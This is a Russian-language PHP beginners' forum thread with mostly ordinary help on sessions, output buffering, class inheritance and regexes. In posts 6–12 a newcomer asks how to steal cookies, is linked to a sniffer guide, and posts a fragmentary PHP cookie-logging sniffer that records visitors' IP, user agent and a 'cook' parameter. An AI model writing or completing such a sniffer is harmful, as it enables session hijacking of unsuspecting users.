[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    На вашем новичковском это значит что строку session_start(); надо поместить самой первой строчкой в файле (после <?php)
     
  2. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Да, я уже понял, стартанул ниже тегов <html>... спасибо!
     
  3. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    используй крон.
     
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    oRb, я любитель поизвращаться... Но чтобы так, как предложил ты... :) Чтож, снимаю перед тобой шляпу! Могу только предложить использовать крон на удалённой машине... :)

    Корвин, ob_start(), ob_get_contents(), ob_end_clean() или ob_end_flush();
     
  5. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    ы, я прочитал только первый абзац, поэтому не допер толком, что конкретно надо.
    да можно обойтись буферами. А можно и попробовать кешированием на базе HTTP-протокола. (подробней http://phpclub.ru/detail/magazine/2006/02/ )
    ps:
    можно сервак на мобильнике поднять %) и написать прогу, которая по координатам gps будет определять твое местоположение. И если широта будет в 1.5 раза больше долготы, то она будет выполнять скрипт :D
     
    #3485 oRb, 9 Jun 2008
    Last edited: 9 Jun 2008
  6. андрюха321

    андрюха321 New Member

    Joined:
    27 May 2008
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Я новичек не судите строго за мой вопрос, но для того и форум чтобы спрашивать..... Меня интересует скрипт который ворует куки, как его написать или хотябы чтонибудь про это
     
  7. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    А чё у новичков поиск не работает? Что за безобразие!!!

    http://forum.antichat.ru/showpost.php?p=457195&postcount=1
     
  8. андрюха321

    андрюха321 New Member

    Joined:
    27 May 2008
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    я прочел-> http://forum.antichat.ru/showpost.php?p=457195&postcount=1 И у меня появились вопросы, где создавать файлы sniff.php и log.txt в блокноте и где их сохранять? И еще вот я создал страничку на юкозе, мне в "шаблонах" все удалить надо и туда заливать снифер или не надо ничего удалять а в этуже страницу заливать?
     
  9. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    На юкозе нельзя заливать свои пхп файлы, ты не сделаешь там сниффер
     
  10. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Почему не выведет методы в классах модер администратор?

    PHP:
    <?php
    class User
    {
    private    
    $log;
    private    
    $pas;
        
        function 
    __construct($log,$pas)
        {
            
    $this->log $log;
            
    $this->pas $pas;
        }
        function 
    LevelAcess($log,$pas)
        {
            if(
    $log == $this->log && $pas == $this->pas ){
            return 
    true;
            }
            else 
            {
                return 
    false;
            }
        }
        
        public function 
    getLogin()
        {
            return 
    $this->log;
        }
    }

    class 
    Normal extends User
    {
        
    // future send news
    }

    class 
    Moderation extends User
    {
    public    function 
    moderator($m)
        {
            echo(
    "Here you can post and edit news<br>");
        }
        function 
    future()
        {
            
    // under contruction
            
        
    }
    }

    class 
    Admin extends User
    {
    public    function 
    adminit($b)
        {
            echo(
    "Here you can ban bad user<br>");
        }
        function 
    future()
        {
            
    // under contruction
            
        
    }
    }

    $nooby = new User("moder","1238");
    echo 
    "User:".$nooby->getLogin();

    $moder = new Moderation("mod","1238");
    //$moder->moderator($m);

    $adm  = new Admin("admin","1234");


    if(
    $moder->LevelAcess($log,$pas))
    {
        
    $moder->moderator($m);
    }

    if(
    $adm->LevelAcess($log,$pas))
    {
        
    $adm->adminit($b);
    }
    ?>
     
  11. андрюха321

    андрюха321 New Member

    Joined:
    27 May 2008
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    а на народе можно заливать свои пхп файлы?
     
  12. андрюха321

    андрюха321 New Member

    Joined:
    27 May 2008
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    я вот вроде написал снифер, только не знаю правильно или нет $data=date("D.M.Y"); $time=date("h:i"); $ip=trim($_SERVER['REMOTE_ADDR']); $sysinfo=trim($_SERVER['HTTP_USER_AGENT']); if(is_file($file)){ $fo=fopen($file,"a"); $res="$data | $time | $ip | $sysinfo \n"; $fw=fwrite($fo,$res); fclose($fo); } $query=trim($HTTP_GET_VARS['cook']); $res="$data | $time | $ip | $sysinfo \n $query \n"; Header("Content-type: image/png"); $im = ImageCreateFromGif("путь_к_моей_картинке");
    ImageGif($im);
    ImageDestroy($im);
     
  13. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3

    крон тут непричем, ты не понял суть проблемы, у меня получается и скрипт генерящий страничку и парсер этой странички в одном коде, и я думал что када эта страничка будет открываться скрипт ее сперва сгенерит а потом парсером пройдет по ней же, но почему то так не работает=(
     
  14. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    2 решения:
    1. Вместо echo собирать в переменную. (неудобно)
    2. http://ru2.php.net/manual/ru/ref.outcontrol.php (удобно)
     
  15. g-warning

    g-warning Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    76
    Likes Received:
    17
    Reputations:
    0
    Народ выручайте)

    имеется файл -

    SiteMap.txt
    Нужно написать скрипт который бы выводил это файл таким образом -

    Заранее спасибо :)
     
  16. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    g-warning, вот:
    PHP:
    <?
    $in file("SiteMap.txt");
    foreach (
    $in as $item)
        echo 
    "<a href=\"".trim($item)."\">".trim($item)."</a>";
    ?>
     
    2 people like this.
  17. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3

    PHP:
    <?
    $in file("SiteMap.txt");
    foreach (
    $in as $item)
        echo 
    '<a href="'.trim($item).'">'.trim($item).'</a>';
    ?>

    так проще чем со слешами
     
  18. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Надеюсь, ты знаешь, что атрибуты, описанные как private не наследуются? Кто будет в производных классах инициализировать конструкторы базовых классов?
     
  19. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    ... .Нет... .
    Тут где то есть тема типа `Я новичок с чего начать`.ПОсмотри её
     
    #3499 Buffalon, 10 Jun 2008
    Last edited: 10 Jun 2008
  20. Gadik

    Gadik Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    97
    Likes Received:
    19
    Reputations:
    0
    Добрый день. Подскажите пожалуйста, что означает следующая регулярка?

    preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis',...

    правильно ли я понял, что она из всей страницы сама ищет класс show_detail и берет все что в нем???
     
Thread Status:
Not open for further replies.